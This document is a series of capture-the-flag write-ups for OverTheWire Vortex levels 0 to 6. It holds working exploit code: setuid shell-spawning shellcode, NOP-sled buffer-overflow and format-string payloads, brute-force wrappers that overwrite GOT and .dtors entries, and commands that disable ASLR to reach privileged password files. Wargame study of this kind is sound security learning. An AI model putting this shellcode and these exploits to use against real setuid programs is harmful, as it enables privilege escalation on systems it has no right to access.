OverTheWire Vortex Level 6

For this level, just the binary is available, not the source code. First, we'll download it and study it locally with gdb.

(gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048446 <+0>: push   ebp
   0x08048447 <+1>: mov    ebp,esp
   0x08048449 <+3>: and    esp,0xfffffff0
   0x0804844c <+6>: sub    esp,0x10
   0x0804844f <+9>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048452 <+12>: mov    eax,DWORD PTR [eax]
   0x08048454 <+14>: test   eax,eax
   0x08048456 <+16>: je     0x8048465 

   0x08048458 <+18>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804845b <+21>: mov    eax,DWORD PTR [eax]
   0x0804845d <+23>: mov    DWORD PTR [esp],eax
   0x08048460 <+26>: call   0x8048424 <restart>
   0x08048465 <+31>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048468 <+34>: add    eax,0xc
   0x0804846b <+37>: mov    eax,DWORD PTR [eax]
   0x0804846d <+39>: mov    DWORD PTR [esp],eax
   0x08048470 <+42>: call   0x8048354 <printf@plt>
   0x08048475 <+47>: mov    DWORD PTR [esp],0x7325
   0x0804847c <+54>: call   0x8048334 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart 
Dump of assembler code for function restart:
   0x08048424 <+0>: push   ebp
   0x08048425 <+1>: mov    ebp,esp
   0x08048427 <+3>: sub    esp,0x18
   0x0804842a <+6>: mov    DWORD PTR [esp+0x8],0x0
   0x08048432 <+14>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048435 <+17>: mov    DWORD PTR [esp+0x4],eax
   0x08048439 <+21>: mov    eax,DWORD PTR [ebp+0x8]
   0x0804843c <+24>: mov    DWORD PTR [esp],eax
   0x0804843f <+27>: call   0x8048344 @lt;execlp@plt>
   0x08048444 <+32>: leave  
   0x08048445 <+33>: ret    
End of assembler dump.
(gdb) 

After the function prologue and aligning stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (ebp+0x10) and (ebp+0x0c). This article explains basics about stack frames, and the next one details also the stack layout. The stack layout before calling the main function looks like this:

:    :
|    | [ebp + 16] (env - address of env array)
|    | [ebp + 12] (argv - address of argv array)
|    | [ebp + 8]  (argc - number of arguments passed to main)
|    | [ebp + 4]  (return address)
|    | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
:    :
:    :

We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.

#include <stdio .h>

int main() {
    register int ebp asm("ebp");    
    
    char **env = *(char***)(ebp + 16);
    char **argv = *(char ***)(ebp + 12);
    int argc = *(int*)(ebp + 8);
    
    printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
    printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); 
    printf("[EBP +  8] - Number of arguments (argc): %d\n", argc);
}

And the test wraper:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};

    execve("./layout",arg,env);
}

So we have:

# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap 
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP +  8] - Number of arguments (argc): 6
# 

Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:

:    :
|    | [ebp + 12] (2nd argument)
|    | [ebp + 8]  (1st argument)
| RA | [ebp + 4]  (return address)
| FP | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)

So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:

void restart(char *s) {
    execlp(s,s,NULL);
}

After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:

import subprocess

argv = ['/bin/sh']

p = subprocess.Popen(argv, executable = './vortex6.bin')        
p.wait()

And tada..

vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****

References:

1. x86 Disassembly/Functions and Stack Frames

OverTheWire Vortex Level 5

This level is a brute-force over a 5 chars MD5 hash. We get the hash from the source code - it is 155fb95d04287b757c996d77b5ea51f7, and with a quick search online, we get the corresponding plain text - rlTf6.
There are lots of online services to crack md5, and there's also Project RainbowCrack which uses the Time-Memory trade-off.
After getting the plain text we can get to the shell:

vortex5@melissa:/vortex$ ./vortex5 
Password: 
6:36
You got the right password, congrats!
$ cat /etc/vortex_pass/vortex6
*****

OverTheWire Vortex Level 4

This level looks like a simple 3 lines program. It's a common format string vulnerability (great references on how to exploit in [1], [3] and [5]):

int main(int argc, char **argv)
{
 if(argc) exit(0);
 printf(argv[3]);
 exit(EXIT_FAILURE);
}

1. First there's a check to bypass: the program exits if the argc variable is different than 0 (if(argc) exit(0);). argc variable represents the length of argv array, which has on the first position the program name (the name appearing on top and like utilities, for example). So argc is always >=1.
If we know how arguments (and environment variables) are passed to the main function when executing the binary,  we can bypass the verification and also pass something meaningful to printf in argv[3] argument.  The stack looks like this:

| argc | argv[0] | argv[1] ... |argv[argc-1]| NULL |env[0]|...|env[n]|NULL|

Where the first NULL indicates the end of the argv array, and the second one the end of the environment variables array. So if we pass NULL as the argv array, when the program tries to access argv[3], it will in fact access env[2], because the stack would look like this (argv[0] points to the NULL byte):

| 0 | NULL | env[0] | env[1] | env[2] | ...

In Python I couldn't call one of the exec functions with argv set to NULL, so I've used the classic method:

char exe[] = "/vortex/vortex4";

char* argv[] = { NULL }; 
char* env[] = {"env0", "env1", "TEST", NULL};

execve(exe, argv, env);

2.  Now we know we have to pass the format string attack into an environment variable. We have to find out the approximate location of the environment variables in the memory. The vortex labs machine has ASLR disabled. We can test with and without ASLR to see the variation of the environment variables' address, using the following simple program:

/* 
 * Test program to find the location of envirnment variables on stack.
 *  - test with/without ASLR
 * 
 * To disable ASLR: 
 * echo 0 > /proc/sys/kernel/randomize_va_space
 * 
 * To enable ASLR:
 * echo 2 > /proc/sys/kernel/randomize_va_space
 * 
 */

#include <stdio .h>

extern char **environ;

/* Return the current stack pointer */
unsigned long find_esp(void){
 // Copy stack pointer into EAX
    __asm__("mov %esp, %eax");
    
    // Return value of the function is in EAX
}

int  main() {
 char **env = NULL;
 
    for (env = environ; *env; ++env)
        printf("%p:\t%s\n", env, *env);

    unsigned long p = find_esp(); 
    printf ("Current stack pointer: Ox%lx\n" , p) ;
        
    return 0;
}

3. We decide an address to overwrite to change the flow of the program. We can use the same trick as in the previous level: replace the address of exit() function in .plt (which is called at the end of the program), which we find by searching relocations sections in the binary:

vortex4@melissa:/vortex$ readelf -r ./vortex4
...
Relocation section '.rel.plt' at offset 0x294 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a004  00000207 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a008  00000307 R_386_JUMP_SLOT   00000000   printf
0804a00c  00000407 R_386_JUMP_SLOT   00000000   exit

4. Plan: place a shellcode (I've used the same 32 bytes I've used in the previous level, setuid+execve) in  the environment variable, with a big NOP sled before (I've used 500 bytes). In the format string before, try to overwrite the address we found above, 0x0804a00c (which I've actually replaced in 4 bytes: 0x0804a00c, 0x0804a00d, 0x0804a00e, 0x0804a00f. A method to overwrite it with only 2 replaces instead of 4 is described in the referred documentation).
This was actually the harder part. I've made a python wrapper over the C wrapper containing execve instruction, that passes (and finally brute-forces) different format strings.
A good exercise is first to try to read memory (using %x or %s instead of %n for writing), to find the actual position of the format string on the stack. This will actually be quite different than the examples from [1]. I actually found that I needed 106 bytes to get to the format string on the stack.
A trick that can be used here: direct parameter access in printf ($), detailed in the Single Unix Specification ([4]). For me, I could access the format string with the following parameter:

fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"

I've adjusted it with fillers ('.'), and tuned the offset untl reach the correct one, 106.
The python script mentioned:

import subprocess

''' 
Script to pass the format string and address to be overwritten to
the vortex 4 wrapper binary
'''

# 4 bytes to be modified (address of exit() in .plt - 0x0804a00c)
addr =  "\x0c\xa0\x04\x08" + \
        "\x0d\xa0\x04\x08" + \
        "\x0e\xa0\x04\x08" + \
        "\x0f\xa0\x04\x08"

# Read it, after many trial and errors
#fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"

for i in range(1, 255):
        for j in range(1, 255):
                fmt = addr + "...." + \
                "%106$n%5$0" + str(i) + "d" + \
                "%107$n%5$0" + str(j) + "d" + \
                "%108$n" + \
                "%109$n"
                print "%d %d fmt: %s: " % (i, j, fmt)
                p = subprocess.Popen(['/tmp/myl4', fmt])
                
                p.wait()
                # Ctrl-D to continue

5. And the C wrapper with execve over vortex4 binary:

/*
 * Wrapper over vortex 4 binary: 
 *  - byapss first argc check
 *  - pass shellcode in environment variable
 *  - receive format string from python wrapper (.. easier) 
 */

#include <stdio .h>
#include <string .h>

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" 
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" 
        "\x89\xe1\xcd\x80";

char padding[500];
char NOP = '\x90';
int nops = 500;

int main(int argc, char **args) {
 char exe[] = "/vortex/vortex4";
 char sh[600] = {0};
 
 // Fill with lots of NOPs to make sure we reach the shellcode
 memset(padding, NOP, nops);
 
 memcpy(sh, padding, nops);
 memcpy(sh+nops, shellcode, strlen(shellcode));
 
 // argc wil be 0, because argv[0] is not set
 char* argv[] = { NULL }; 
 char* env[] = {"env0", "env1", args[1], sh, NULL};

 execve(exe, argv, env);
 
 return 0;
}

6. Putting all together we get the pass:

vortex4@melissa:/tmp$ vim myl4.c
vortex4@melissa:/tmp$ vim myl4.py
vortex4@melissa:/tmp$ gcc -o myl4 myl4.c
vortex4@melissa:/tmp$ python myl4.py
...
202 33 fmt: 
���....%106$n%5$0202d%107$n%5$033d%108$n%109$n: 
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
*****

Reading:

1. Exploiting Format String Vulnerabilities - version 1.2 (team teso)
2. Another solution and explanation
3. Great detailed explanation of format string vulnerabilities, stackoverflow
4. Format strings in printf - Single UNIX Specification
5. Advances in format string exploitation
6. My solution files

OverTheWire Vortex Level 3

As mentioned in the description, this level is a little bit tricky. We see that we'll put the shellcode in buf variable  with strcpy and the shellcode will require a setuid (LEVEL4_UID), since bash drops effective privileges.


Test a setuid + execve shellcode

I've taken a shellcode that does this from here, and test it from a wrapper function:

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] =
  "\x6a\x17"              // push $0x17
  "\x58"                  // pop  %eax
  "\x31\xdb"              // xor  %ebx, %ebx
  "\xcd\x80"              // int  $0x80

  "\x31\xd2"              // xor  %edx, %edx  
  "\x6a\x0b"              // push $0xb
  "\x58"                  // pop  %eax
  "\x52"                  // push %edx
  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
  "\x89\xe3"              // mov  %esp, %ebx
  "\x52"                  // push %edx
  "\x53"                  // push %ebx
  "\x89\xe1"              // mov  %esp, %ecx
  "\xcd\x80";             // int  $0x80

int main() {
 int (*func)();
 func = (int (*)()) shellcode;
 (int)(*func)();

 return 0;
}

And to compile and test:

# gcc test_shell3.c -o test_shell
# ./test_shell 
sh-4.1# 

Bypass StackGuard
The article from [2] describes a bypass method for a situation similar with our code. The idea is that by overflowing buf, we can modify lpp, and with this code ( **lpp = (unsigned long) &buf;) we can place the beginning of the buffer in an address referred to by an address we can control - there's a double indirection.
Let's try to modify the flow with this method, by changing the destructor function, called in the last line of code (exit(0);). To find the address of the destructors:

vortex3@melissa:/vortex$ objdump -s -j .dtors vortex3

vortex3:     file format elf32-i386

Contents of section .dtors:
 804953c ffffffff 00000000                    ........      

As described in [1], the layout of the destructors section is as follows:
0xffffffff <function address> <another function address> ... 0x00000000

So we will change the address of the first function to be called (0x08049540). We need an address to put in the lpp pointer, and that address to point to 0x08049540:

$ gdb vortex3
(gdb) set disassembly-flavor intel
(gdb) disassemble __do_global_dtors_aux 
Dump of assembler code for function __do_global_dtors_aux:
...
   0x08048360 <+16>: mov    eax,ds:0x8049644
   0x08048365 <+21>: mov    ebx,0x8049540
   0x0804836a <+26>: sub    ebx,0x804953c
...
(gdb) x/x 0x08048366
0x8048366 <__do_global_dtors_aux>: 0x08049540

We find 0x08048366, that points to 08049540 (first destructor function). If we manage to place 0x08048366 in the lpp pointer (by overflowing buf), the double indirection in  **lpp = (unsigned long) &buf; line will add the code in buf variable to be executed as a destructor.

Find lpp offset
We'll build the vortex3 source code locally, with added prints to track lpp value after overflowing buf. To reproduce the environment in the vortex labs, we need to disable ASLR (Address Space Layout Randomization) and compile without stack protector:

# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -fno-stack-protector -U_FORTIFY_SOURCE vortex3.c -o vortex3
#

From a Python wrapper, we'll pass the previous shellcode and watch if we set correctly lpp variable after strcpy:

import sys

shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
        "\x89\xe1\xcd\x80"

NOP = "\x90"

if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
    else:
        addr = "\x41\x42\x43\x44"

    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode))  + addr

And we see we can control lpp:

# ./vortex3 `python L3.py`
lpp before: 0x804a024
lpp after: 0x44434241

For the vortex3 binary on vortex labs, there will be a difference (of 4 bytes) on the length of NOP sled needed. That's because the position of lpp variable on the stack differs by 4 bytes.
On vortex labs:

(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>: push   ebp
   0x080483d5 <+1>: mov    ebp,esp
   0x080483d7 <+3>: and    esp,0xfffffff0
   0x080483da <+6>: sub    esp,0xa0
   0x080483e0 <+12>: mov    DWORD PTR [esp+0x9c],0x804963c
   ...
(gdb) x/x 0x804963c
0x804963c <lp>: 0x08049638

And locally:

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048484 <+0>: push   ebp
   0x08048485 <+1>: mov    ebp,esp
   0x08048487 <+3>: and    esp,0xfffffff0
   0x0804848a <+6>: sub    esp,0xa0
   0x08048490 <+12>: mov    DWORD PTR [esp+0x98],0x804a024
   ...
(gdb) x/x 0x804a024
0x804a024 <lp>: 0x0804a020

So, on the vortex labs machine we'll create the python wrapper file in tmp folder, taking into account the NOP sled difference:

import sys

shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
        "\x89\xe1\xcd\x80"

NOP = "\x90"

if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
    else:
        addr = "\x41\x42\x43\x44"

    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode) + 4)  + addr

But, when trying to exploit, we get a segmentation fault:

$ ./vortex3 `python /tmp/myv3.py`
Segmentation fault

That may be because of the subtle reason mentioned on the level description (ctors/dtors might no longer be writable). (Older solutions present online worked because the level was compiled with another gcc version, and overwriting .dtors as suggested in the reading was possible). Anyway, the author gives the suggestion for solving this: "an intelligent bruteforce".

Python brute-forcer
We will only brute force a small part of the address space (16 bytes), because the first 2 bytes of lpp we already know that must be 0x0804. With the following python wrapper we'll generate payloads and pass them to vortex3 binary until we find a shell.  The p.wait() function stops and wait until the program finish executing (in our case the new shell).

import subprocess

# shellcode generating  script
script = "/tmp/myv3.py"

#found good addr = "\x8c\x92\x04\x08"

# Brute force the second part of the address space
for i in range (1, 256):
    for j in range (1, 256):
        addr = "%c%c\x04\x08" % (chr(i), chr (j))
        print "Trying addr: ", "".join('\\x%02x' % ord(c) for c in addr)
        
        # payload = shellcode + addr 
        # payload = `python /tmp/myv3.py "\x41\x42\x43\x44"`
        payload = subprocess.check_output(["python", script, addr])

        # pipe = os.popen("cmd", 'r', bufsize)
        p = subprocess.Popen(['/vortex/vortex3', payload])
        
        # block for successful shell
        p.wait()

(Note:  i and j variables go from 1, not from 0, because 0 is the null character and is not accepted in a shell command, and thus not accepted  by the check_output() function which executes a command.)
The result:

vortex3@melissa:~$ python /tmp/wrapv3.py
...
Trying addr:  \x8c\x91\x04\x08
Trying addr:  \x8c\x92\x04\x08
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
*******
$

So we got a correct address that, when put into lpp, runs our shellcode -  \x08\x04\x92\x8c.  To understand what happened, we check the address in gdb:

$ gdb /vortex/vortex3 
(gdb) break main
Breakpoint 1 at 0x80483d7
(gdb) run
Starting program: /vortex/vortex3 

Breakpoint 1, 0x080483d7 in main ()
(gdb) x/x 0x0804928c
0x804928c: 0x0804962c
(gdb) x/x 0x0804962c
0x804962c <_global_offset_table_>: 0x0804830a
(gdb) x/x 0x0804830a
0x804830a <exit@plt+6>: 0x00001868
(gdb) 

So we've actually overwritten the exit function in the .plt section.
This was a nice exercise, at least:)

The scripts mentioned are available here.

 Reading material:

1. Overwriting the .dtors section - Juan M. Bello Rivas
2. Bypassing StackGuard and StackShield
3. Another solution

OverTheWire Vortex Level 2

The binary from level 2 creates a 'special file', one whose name contains '$$': ownership.$$.tar. As detailed in the bash manual, the $ variable "Expands to the process ID of the shell. In a () subshell, it expands to the process ID of the invoking shell, not the subshell.".
This binary file has permissions to read the password file from the next level, so what we have to do is archive the password file, and then read it, taking into account the special file name.

First, to create the archive:

vortex2@melissa:/etc/vortex_pass$ /vortex/vortex2 vortex3 vortex3 vortex3
vortex2@melissa:/etc/vortex_pass$ ls -alh '/tmp/ownership.$$.tar'
-rw-r--r-- 1 vortex3 vortex2 10K 2012-09-06 23:19 /tmp/ownership.$$.tar

File create. Now to untar and read the content:

Method 1)

We cannot untar it there, so the -O (output to STDOUT) option is very useful :

vortex2@melissa:/etc/vortex_pass$ tar xf '/tmp/ownership.$$.tar' -O
*****

Method 2)

We could copy it locally with scp and untar it. I had a little problem with the file name passed forward by scp, which can be seen and adapted with verbose mode, then check the transmitted file name and adjust it:

scp -v vortex2@vortex.labs.overthewire.org:'test$$' .
...
debug1: Sending command: scp -v -f test$$
scp: test415: No such file or directory
...

We see that $$ is transmitted,  and will be interpreted, so it should be correctly escaped. Copy archive locally:

# scp vortex2@vortex.labs.overthewire.org:'/tmp/ownership.\$\$.tar' .

Method 3)

tar command from the binary does not use compression, so the content of the archive can be viewed:

vortex2@melissa:/etc/vortex_pass$ cat '/tmp/ownership.$$.tar'
...

OverTheWire Vortex Level 1

The level can be found here. After analyzing the C source code, we get the flow and information needed to exploit:

1. There's a 512 bytes buffer and a pointer ptr that initially points in the middle
2. For every '\' character read, the pointer is decremented
3. For every character read (different than '\n' and '\') we have the possibility to set a byte in ptr (ptr++[0] = x;)  
4. The e() macro spawns an interactive bash shell (-i parameter) and also replaces the image of the current process with /bin/sh, through execlp function. Important to remember, from here: "By default, file descriptors remain open across an execve()".
5. The condition to trigger shell execution can be easily accomplished, given 3.

Taken these into account, we try to launch a shell and execute a command:

$ python -c 'print "\\"*257 + "\xca" + "A" + "\nwhoami"' | ./vortex1
$ 

The shell exits immediately, without executing the command. Now it's time to check what happens, how bash handles EOF.

Method 1)

Detailed on this post. The idea is that  when execlp is executed, the image of the current process is replaced with  /bin/sh. But execlp doesn't clear STDIN.  So the unparsed input it's still be there. The shell is exiting immediately, because it receives an EOF. To overcome this, something in the bash manual comes to help: "When invoked as an interactive shell with the name sh, bash looks for  the variable  ENV,  expands  its value if it is defined, and uses the expanded value as the name of a file to read and execute".
So we create a new file containing our commands, set the ENV variable before and get the password:

$ vi /tmp/cmd2
cat /etc/vortex_pass/vortex2

$ python -c 'print "\\"*257 + "\xca" + "A"' | env ENV=/tmp/cmd2 /vortex/vortex1
******

Method 2)

Some solutions report that a long string before the command causes the command to be actually executed, without an apparent explanation. Like this:

$ python -c 'print  "\\"*0x101+"\xcaA\n"+"A"*4000+"\nwhoami\ncat /etc/vortex_pass/vortex2"' |/vortex/vortex1
$ sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
$ vortex2
$ ******
$ 

To understand this, the following article explains the buffering applied to standard streams, with an example with two processes forked  by bash with a pipe between them: $ command1 | command2, similar with our case.  The idea is that the kernel uses 4096 bytes circular buffers (for stdin, stdout, and pipe). Being circular, the 4000 characters together with the existent content fill the buffer, and the next part of input does not contain an EOF and commands are executed. Actually, instead of the 4000 "A"s, we just need 4096-257-2-1=3836 extra characters.

$ python -c 'print  "\\"*0x101+"\xcaA\n"+"A"*3836+"\nwhoami\ncat /etc/vortex_pass/vortex2"' |/vortex/vortex1
$ $ vortex2
$ ******
$ 

OverTheWire Vortex Level 0

It's a very easy warm up level, and can be found here. It's a small socket programming problem: a server sends 4 consecutive unsigned integers, little endian, and you have to reply with their sum to get the password for the next level.
In python, the solution is very straightforward:

import socket
import struct

def solve():
    host = "vortex.labs.overthewire.org"
    port = 5842
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect((host, port))
    
    sum = 0
    for i in range(0,4):
        data = s.recv(4)
        num,  = struct.unpack("<I", data)
        sum += num
    print "Sum: %u" % (sum)
    
    s.send(struct.pack("<I",(sum & 0xFFFFFFFF)))
    level1 =  s.recv(1024)
    print level1

    s.close()
        
if __name__=="__main__":        
    solve()

So:

# python L0.py 
Sum: 3188809347
Username: vortex1 Password: *******